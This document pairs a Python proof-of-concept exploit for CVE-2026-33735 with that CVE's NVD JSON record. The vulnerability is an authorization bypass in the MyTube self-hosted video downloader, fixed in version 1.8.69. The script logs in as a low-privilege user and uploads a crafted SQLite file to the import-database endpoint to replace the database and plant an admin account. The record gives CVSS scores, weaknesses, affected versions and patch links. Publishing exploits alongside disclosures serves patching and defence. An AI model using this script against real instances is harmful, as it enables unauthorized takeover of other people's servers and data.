CVE-2026-33735

import requests # Target configuration target_url = "http://localhost:3000/api/settings/import-database" login_url = "http://localhost:3000/api/auth/login" # Attacker's low-privilege credentials payload = { "username": "attacker", "password": "attacker_password" } def exploit(): session = requests.Session() # Step 1: Authenticate with low-privilege account print("[*] Logging in as low-privilege user...") try: login_res = session.post(login_url, json=payload) if login_res.status_code != 200: print("[-] Login failed.") return except Exception as e: print(f"[-] Connection error: {e}") return # Step 2: Prepare the malicious SQLite database file # Note: 'malicious.db' should be a valid SQLite file containing # a modified 'users' table with a new admin account. files = { 'file': ('malicious.db', open('malicious.db', 'rb'), 'application/x-sqlite3') } # Step 3: Upload the database to the vulnerable endpoint print("[*] Uploading malicious database...") try: upload_res = session.post(target_url, files=files) if upload_res.status_code == 200: print("[+] Exploit successful! Database replaced.") print("[+] You can now log in with the new admin credentials.") else: print(f"[-] Exploit failed. Status: {upload_res.status_code}") print(upload_res.text) except Exception as e: print(f"[-] Upload error: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-33735", "sourceIdentifier": "[email protected]", "published": "2026-03-27T01:16:20.840", "lastModified": "2026-03-31T19:02:38.313", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MyTube is a self-hosted downloader and player for several video websites Prior to version 1.8.69, an authorization bypass in the `/api/settings/import-database` endpoint allows attackers with low-privilege credentials to upload and replace the application's SQLite database entirely, leading to a full compromise of the application. The bypass is relevant for other POST routes as well. Version 1.8.69 fixes the issue."}, {"lang": "es", "value": "MyTube es un descargador y reproductor autoalojado para varios sitios web de videos. Antes de la versión 1.8.69, una omisión de autorización en el endpoint `/api/settings/import-database` permite a atacantes con credenciales de bajo privilegio cargar y reemplazar completamente la base de datos SQLite de la aplicación, lo que lleva a un compromiso total de la aplicación. La omisión es relevante también para otras rutas POST. La versión 1.8.69 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}, {"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:franklioxygen:mytube:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.69", "matchCriteriaId": "3390F15D-159A-4E5F-93E0-DACD518848B8"}]}]}], "references": [{"url": "https://github.com/franklioxygen/MyTube/blob/6ade838a46366174e2c030f856340f3856e03132/backend/src/middleware/roleBasedSettingsMiddleware.ts#L116", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/franklioxygen/MyTube/commit/b7bf9b7960958c6c51f85fe50a2fc041a086c466", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/franklioxygen/MyTube/security/advisories/GHSA-63cf-662x-crp2", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/franklioxygen/MyTube/security/advisories/GHSA-63cf-662x-crp2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}